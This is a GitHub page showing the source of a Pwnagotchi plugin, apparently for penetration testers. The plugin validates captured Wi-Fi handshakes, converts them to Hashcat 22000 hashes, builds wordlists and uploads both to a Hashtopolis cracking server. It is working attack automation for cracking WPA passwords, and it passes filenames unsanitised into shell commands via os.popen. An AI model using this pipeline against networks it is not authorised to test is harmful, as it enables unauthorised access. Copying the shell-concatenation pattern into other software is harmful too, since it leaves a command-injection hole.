-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathpwn2crack.py
339 lines (315 loc) · 22.1 KB
/
pwn2crack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
import logging
import base64
import requests
import json
import os
import pwnagotchi.plugins as plugins
from threading import Lock
from pwnagotchi.ui.components import LabeledValue
from pwnagotchi.ui.view import BLACK
import pwnagotchi.ui.fonts as fonts
# This is the main plugin class.
class Pwn2Crack(plugins.Plugin):
__author__ = '[email protected]'
__version__ = '1.0.2'
__license__ = 'GPL3'
__description__ = 'This Pwnagotchi plugin will evaluate captured handshakes from pcap files, clean and convert complete handshakes to Hashcat-compatible 22000 hashes, and then create a new hashlist within Hashtopolis.'
hcxtools_version_supported = '6.2.7' # Working as 11/2023, later version will not work on Pwnagotchi 1.5.5 because the OS is too old to support OpenSSL 3.0 EVP API.
"""
Pwn2Crack aims to streamline a Red Teamer or PenTester process from handshake capture to cracking passwords.
This plugin requires https://github.com/ZerBea/hcxtools/releases/tag/6.2.7
"""
def __init__(self):
self.running = False
self.lock = Lock()
# This function is called when the config.toml file is changed. This is needed to be able to read the options of other pluguin from the config.toml file.
def on_config_changed(self, config):
self.config = config
# Test if any options have been set in the config.toml file.
if 'pwn2crack' not in self.config['main']['plugins']:
logging.error('[Pwn2Crack] The config.toml file is missing the pwn2crack section. Please add it to the config file.')
self.running = False
return
# Check if all required settings have been set in the config.toml file, and if optional setting have been set, set them to default values.
# Check for the required settings. Disable the plugin if they are not set.
# Test if self.config['main']['plugins']['pwn2crack']['htserver'] is set and not empty.
if 'htserver' not in self.config['main']['plugins']['pwn2crack']:
logging.error('[Pwn2Crack] The Hashtopolis server is not set. Please set it in the config file.')
self.running = False
return
if 'accesskey' not in self.config['main']['plugins']['pwn2crack']:
logging.error('[Pwn2Crack] The Hashtopolis API key is not set. Please set it in the config file.')
self.running = False
return
# Check for the optional settings. If they are not set, set them to default values.
# If hashisSecret is not set, then set it to True.
if 'hashisSecret' not in self.config['main']['plugins']['pwn2crack']:
logging.debug('[Pwn2Crack] The hashisSecret option is not set. Setting it to True.')
self.config['main']['plugins']['pwn2crack']['hashisSecret'] = bool(True)
# If useBrain not set, then set it to False.
if 'useBrain' not in self.config['main']['plugins']['pwn2crack']:
logging.debug('[Pwn2Crack] The useBrain option is not set. Setting it to False.')
self.config['main']['plugins']['pwn2crack']['useBrain'] = bool(False)
# if brainFeatures is not set, then set it to 0.
if 'brainFeatures' not in self.config['main']['plugins']['pwn2crack']:
logging.debug('[Pwn2Crack] The brainFeatures option is not set. Setting it to 0.')
self.config['main']['plugins']['pwn2crack']['brainFeatures'] = int(0)
# if numhashtoupload is not set, then set it to 0.
if 'numhashtoupload' not in self.config['main']['plugins']['pwn2crack']:
logging.debug('[Pwn2Crack] The numhashtoupload option is not set. Setting it to 0.')
self.config['main']['plugins']['pwn2crack']['numhashtoupload'] = int(0)
# If uploadwordlist is not set, then set it to False.
if 'uploadwordlist' not in self.config['main']['plugins']['pwn2crack']:
logging.debug('[Pwn2Crack] The uploadwordlist option is not set. Setting it to False.')
self.config['main']['plugins']['pwn2crack']['uploadwordlist'] = bool(False)
# If genwordlist is not set, then set it to False.
if 'genwordlist' not in self.config['main']['plugins']['pwn2crack']:
logging.debug('[Pwn2Crack] The genwordlist option is not set. Setting it to False.')
self.config['main']['plugins']['pwn2crack']['genwordlist'] = bool(False)
# This function is called when the plugin is loaded. We will preform some checks to make sure the plugin can run without errors.
def on_loaded(self):
# Test if the binary 'hcxtools' is available in the system.
# If not, we cannot use this plugin. So we will disable it and report an error in the log.
if not os.path.exists('/usr/bin/hcxpcapngtool'):
logging.error('[Pwn2Crack] The binary "hcxpcapngtool" is not available on your system. Please install the "hcxtools" package.')
return
# Test if the binary 'hcxpcaptool' is on the required version.
# If not, we cannot use this plugin. So we will disable it and report an error in the log.
hcxtoolsVersion = os.popen('/usr/bin/hcxpcapngtool --version').read().split(' ')[1].split('\n')[0]
logging.debug('[Pwn2Crack] The binary "hcxpcapngtool" is on version ' + hcxtoolsVersion + '. The required version is ' + self.hcxtools_version_supported + '.')
if hcxtoolsVersion != self.hcxtools_version_supported:
logging.error('[Pwn2Crack] The binary "hcxpcapngtool" is not on the required version. Please install the "hcxtools" package.')
return
# All checks passed. Enable the plugin.
logging.debug('[Pwn2Crack] All Tests passed. Enabling the plugin.')
self.running = True
# On captured handshake, use hcxpcapngtool to confirm the pcap file is a valid handshake, and then convert it to a hashcat 22000 hash. Save the good hashes to a file with a matching name, but with a .22000 extension.
def on_handshake(self, agent, filename, access_point, client_station):
if not self.running:
return
logging.debug('[Pwn2Crack] A handshake was captured.')
with self.lock:
# Set the hash output file name.
# Create a string from the filename, and remove the .pcap extension, add a underscore, add the first 6 charaters of the access_point, and add the .22000 extension.
# Pwnagotchi stores pcaps as "<AP-ESSID>_<AP-BSSID>.pcap". In some environments, you will have a AP mesh network with multiple APs sharing the same ESSID, different BSSIDs, and all using the same pasword.
# So we will use the first 6 charaters of the AP's BSSID, since most mesh APs will all be made by the same vendor, and will have the same first 6 charaters of the BSSID. This allows us to wrap all the hashes relaterd to one password into one file.
self.hash_output_filename = str(filename.split('.')[0])
# Remove the last six charaters of "self.hash_output_filename".
self.hash_output_filename = self.hash_output_filename[:-6]
self.hash_output_filename = self.hash_output_filename + '.22000'
self.hash_output_filename_wordlist = self.hash_output_filename + '.wordlist'
# Check if the the hashes have already been uploaded to Hashtopolis. If yes, then we will not convert the pcap file to a hashcat 22000 hash.
# Check if "self.hash_output_filename + '.uploaded'" exists in "self.config['bettercap']['handshakes']" folder.
# If yes, then the hashes have already been uploaded to Hashtopolis. If no, then the hashes have not been uploaded to Hashtopolis.
# This avoids uploading duplicate hashes of the same password to Hashtopolis.
if os.path.exists(self.hash_output_filename + '.uploaded'):
logging.debug('[Pwn2Crack] The hashes have already been uploaded to Hashtopolis. Skipping the handshake.')
return
else:
logging.debug('[Pwn2Crack] The hashes have not been uploaded to Hashtopolis. Converting the handshake to 22000 format. - FILE: ' + self.hash_output_filename )
# Confirm the pcap file is a valid handshake.
# Run the hcxpcapngtool command, and save the output to a variable.
hcxpcapngtool_test_output = os.popen('/usr/bin/hcxpcapngtool -o /dev/null ' + filename).read()
# Check if the output contains the string 'EAPOL pairs written to 22000 hash file'. If no, the pcap file is not a valid PKMID or 4Way handshake. Delete it.
if 'written to 22000 hash file' in hcxpcapngtool_test_output:
logging.debug('[Pwn2Crack] The pcap file is a valid handshake.')
# Set the hcxpcapngtool command to convert the pcap file to a hashcat 22000 hash.
hcxpcapngtool_cmd = '/usr/bin/hcxpcapngtool -o ' + self.hash_output_filename + ' ' + filename
# if the user has set the self.options['genwordlist'] in the config.toml file, then we will generate a wordlist from the captured handshake.
# Override the hcxpcapngtool_cmd command to generate a wordlist from the captured handshake.
if self.options['genwordlist']:
hcxpcapngtool_cmd = '/usr/bin/hcxpcapngtool -E ' + self.hash_output_filename_wordlist + ' -R '+ self.hash_output_filename_wordlist + ' -o ' + self.hash_output_filename + ' ' + filename
# Set the hcxeiutool(wordlist genorator from hcxtools) command to generate a wordlist from the captured handshake. If this command is set we will run it later after we confirm the pcap file is a valid handshake.
# hcxeiutool -i <InputPcapFileWordlist> -d <tmpWordlist> -x <tmpWordlist> -c <tmpWordlist> -s <tmpWordlist>
hcxeiutool_cmd = '/usr/bin/hcxeiutool -i ' + self.hash_output_filename_wordlist + ' -d ' + self.hash_output_filename_wordlist + ' -x ' + self.hash_output_filename_wordlist + ' -c ' + self.hash_output_filename_wordlist + ' -s ' + self.hash_output_filename_wordlist
logging.debug('[Pwn2Crack] Generating a wordlist from the captured handshake.')
# Run the command to convert the pcap file to a hashcat 22000 hash.
hcxpcapngtool_output = os.popen(hcxpcapngtool_cmd).read()
# Check that the output file(filename + '.22000') was created and is not empty.
if os.path.exists(self.hash_output_filename) and os.path.getsize(self.hash_output_filename) > 0:
logging.debug('[Pwn2Crack] The pcap file was converted to a hashcat 22000 hash.')
# if the hcxeiutool_cmd is set, then we will generate a wordlist from the captured handshake file.
if self.options['genwordlist']:
# Run the command to generate a wordlist from the captured handshake.
hcxeiutool_output = os.popen(hcxeiutool_cmd).read()
# Check that the output file(self.hash_output_filename_wordlist) was created and is not empty.
if os.path.exists(self.hash_output_filename_wordlist) and os.path.getsize(self.hash_output_filename_wordlist) > 0:
logging.debug('[Pwn2Crack] The wordlist was generated from the captured handshake.')
# Open the new wordlist file, and read the contents, sort it and remove duplicates, then save it back to the file overwriting the old contents.
with open(self.hash_output_filename_wordlist, 'r') as file:
wordlist = file.readlines()
wordlist = sorted(set(wordlist))
with open(self.hash_output_filename_wordlist, 'w') as file:
file.writelines(wordlist)
# If the output does not contain the string 'written to 22000 hash file', then the pcap file is not a valid PKMID or 4Way handshake. Delete it.
if 'written to 22000 hash file' not in hcxpcapngtool_test_output:
logging.info('[Pwn2Crack] The pcap file is not a valid handshake. Deleting file:' + filename)
os.remove(filename)
# Confirm the pcap file was deleted.
if not os.path.exists(filename):
logging.debug('[Pwn2Crack] The pcap file was deleted for being incomplete. FILE: ' + filename)
# If the pcap file was not deleted, then send an error to the log.
if os.path.exists(filename):
logging.error('[Pwn2Crack] Could not delete the pcap file. Please delete it manually. FILE: ' + filename)
# When the Internet is available, upload all the .22000 files in the pwnagotchi handshakes directory to Hashtopolis.
def on_internet_available(self, agent):
if not self.running:
return
logging.debug('[Pwn2Crack] Internet is available. Trying to upload hashes.')
# Create a list of all files ending in .22000 in the pwnagotchi handshakes directory.
hashlist_to_upload = []
for filename in os.listdir(self.config['bettercap']['handshakes']):
if filename.endswith('.22000'):
hashlist_to_upload.append(filename)
# For each file in the list, upload it to Hashtopolis using the API.
for filename in hashlist_to_upload:
logging.debug('[Pwn2Crack] Uploading ' + filename + ' to Hashtopolis.')
HTAccess.upload_hash_to_hashtopolis(self.config['bettercap']['handshakes'] + '/' + filename, self.options['htserver'], self.options['accesskey'], self.options['hashisSecret'], self.options['useBrain'], self.options['brainFeatures'], self.options['numhashtoupload'])
# If self.options['uploadwordlist'] is set to true, then upload the wordlist to Hashtopolis.
if self.options['uploadwordlist']:
# Create a list of all files ending in .wordlist in the pwnagotchi handshakes directory.
wordlist_to_upload = []
for filename in os.listdir(self.config['bettercap']['handshakes']):
if filename.endswith('.wordlist'):
wordlist_to_upload.append(filename)
# Upload the wordlist to Hashtopolis using the API.
for filename in wordlist_to_upload:
logging.debug('[Pwn2Crack] Uploading ' + filename + ' to Hashtopolis.')
HTAccess.upload_wordlist_to_hashtopolis(self.config['bettercap']['handshakes'] + '/' + filename, self.options['htserver'], self.options['accesskey'])
class HTAccess:
__description__ = 'This class contains functions to access Hashtopolis using the APIv1.'
# Upload the hash to Hashtopolis using the API function.
def upload_hash_to_hashtopolis(hashfile, htserver, accesskey, hashisSecret, useBrain, brainFeatures, numhashtoupload):
# Set the hashlist name to hashfile but remove leading path and trailing .22000 extension.
hashlist_name = str(hashfile.split('/')[-1].split('.')[0])
# Set Hashtopolis APIv1 URL.
ht_api_url = htserver + '/api/user.php'
# Read every line in the file, and remove any duplicate lines. Then put the lines back into a string variable.
with open(hashfile, 'r') as file:
hashlist = file.readlines()
# if numhashtoupload is greater than 0, then only read the first numhashtoupload lines of the sorted unique list.
if numhashtoupload > 0:
hashlist = sorted(set(hashlist))[:numhashtoupload]
else:
hashlist = sorted(set(hashlist))
# Take the hashlist variable, and put it back into a one string variable.
hash = ''.join(hashlist)
# Encode the hash variable to base64.
hash = base64.b64encode(hash.encode()).decode()
# Create a JSON object with all the required information.
# Example submit new Hashlist JSON.
# {
# "section": "hashlist",
# "request": "createHashlist",
# "name": "API Hashlist",
# "isSalted": false,
# "isSecret": true,
# "isHexSalt": false,
# "separator": ":",
# "format": 0,
# "hashtypeId": 22000,
# "accessGroupId": 1,
# "data": "$(base64 -w 0 hash.hc22000)",
# "useBrain": false,
# "brainFeatures": 0,
# "accessKey": "mykey"
# }
request_json_data = {
"section": "hashlist",
"request": "createHashlist",
"name": "%s" % hashlist_name,
"isSalted": False,
"isSecret": hashisSecret,
"isHexSalt": False,
"separator": ":",
"format": 0,
"hashtypeId": 22000,
"accessGroupId": 1,
"data": "%s" % hash,
"useBrain": useBrain,
"brainFeatures": brainFeatures,
'accessKey': "%s" % accesskey
}
request_json_data = json.dumps(request_json_data)
# Make a POST web request to Hashtopolis using APIv1 to submit the new hashlist wih 'Content-Type: application/json' header.
# If the request is successful, then Hashtopolis will return a JSON object with the new hashlist ID.
# Example: {"section":"hashlist","request":"createHashlist","response":"OK","hashlistId":198}
# If the request is not successful, then Hashtopolis will return a JSON object with an error message.
# Example: {"section":"hashlist","request":"createHashlist","response":"ERROR","message":"Invalid hashlist format!"}
try:
request = requests.post(ht_api_url, data=request_json_data, headers={'Content-Type': 'application/json'})
except requests.exceptions.ConnectionError as error_code:
# If the request fails, send the returned error message to the log.
logging.error('[Pwn2Crack] The request to Hashtopolis failed. Check the Hashtopolis server URL and API key.')
logging.debug(error_code)
return
# Check if the request was successful and the hashlist ID was returned.
if request.status_code == 200 and 'hashlistId' in request.text:
logging.debug('[Pwn2Crack] The hashlist was uploaded to Hashtopolis.')
# Rename the file to filename + '.uploaded' to indicate the file has been uploaded to Hashtopolis.
os.rename(hashfile, hashfile + '.uploaded')
# If the request fails, send the returned error message to the log.
if request.status_code != 200 or 'hashlistId' not in request.text:
logging.error('[Pwn2Crack] The hashlist was not uploaded to Hashtopolis.')
logging.error('[Pwn2Crack] Status Code: ' + str(request.status_code))
logging.error('[Pwn2Crack] Request Data: ' + str(request.text) + ' -- ' + str(hashfile))
logging.error('[Pwn2Crack] Request Json Data: ' + str(request_json_data))
def upload_wordlist_to_hashtopolis(wordlistfile, htserver, accesskey):
# Set Hashtopolis APIv1 URL.
ht_api_url = htserver + '/api/user.php'
# Set the wordlist name to wordlistfile but remove leading path and trailing .wordlist extension.
wordlist_name = wordlistfile.split('/')[-1].split('.')[0]
# Read every line in the file, and remove any duplicate lines. Then put the lines back into one string variable, then base64 encode it.
with open(wordlistfile, 'r') as file:
wordlist = file.readlines()
wordlist = sorted(set(wordlist))
# Take the wordlist variable, and put it back into a one string variable.
wordlist = ''.join(wordlist)
# Encode the wordlist variable to base64.
wordlist = base64.b64encode(wordlist.encode()).decode()
# Create a JSON object with all the required information.
# Example submit new Hashlist JSON.
# {
# "section": "file",
# "request": "addFile",
# "filename": "api_test_inline.txt",
# "fileType": 0,
# "source": "inline",
# "accessGroupId": 1,
# "data": "MTIzNA0KNTY3OA0KcGFzc3dvcmQNCmFiYw==",
# "accessKey": "mykey"
# }
request_json_data = {
"section": "file",
"request": "addFile",
"filename": "%s" % wordlist_name,
"fileType": 0,
"source": "inline",
"accessGroupId": 1,
"data": "%s" % wordlist,
'accessKey': "%s" % accesskey
}
request_json_data = json.dumps(request_json_data)
# Make a POST web request to Hashtopolis using APIv1 to submit the new wordlist file wih 'Content-Type: application/json' header.
# If the request is successful, then Hashtopolis will return a JSON object with the new wordlist ID.
# Example: { "section": "file", "request": "addFile", "response": "OK" }
# If the request is not successful, then Hashtopolis will return a JSON object with an error message.
# Example: {"section":"file","request":"addFile","response":"ERROR","message":"Invalid file format!"}
try:
request = requests.post(ht_api_url, data=request_json_data, headers={'Content-Type': 'application/json'})
except requests.exceptions.ConnectionError as error_code:
# If the request fails, send the returned error message to the log.
logging.error('[Pwn2Crack] The request to Hashtopolis failed. Check the Hashtopolis server URL and API key.')
logging.debug(error_code)
return
# Check if the responce was successful and the and the response was 'OK'.
if request.status_code == 200 and 'OK' in request.text:
logging.debug('[Pwn2Crack] The wordlist was uploaded to Hashtopolis.')
# Rename the file to filename + '.uploaded' to indicate the file has been uploaded to Hashtopolis.
os.rename(wordlistfile, wordlistfile + '.uploaded')
# If the request fails, send the returned error message to the log.
if request.status_code != 200 or 'OK' not in request.text:
logging.error('[Pwn2Crack] The wordlist was not uploaded to Hashtopolis.')
logging.error('[Pwn2Crack] Status Code: ' + str(request.status_code))
logging.error('[Pwn2Crack] Request Data: ' + str(request.text) + ' -- ' + str(wordlistfile))
logging.error('[Pwn2Crack] Request Json Data: ' + str(request_json_data))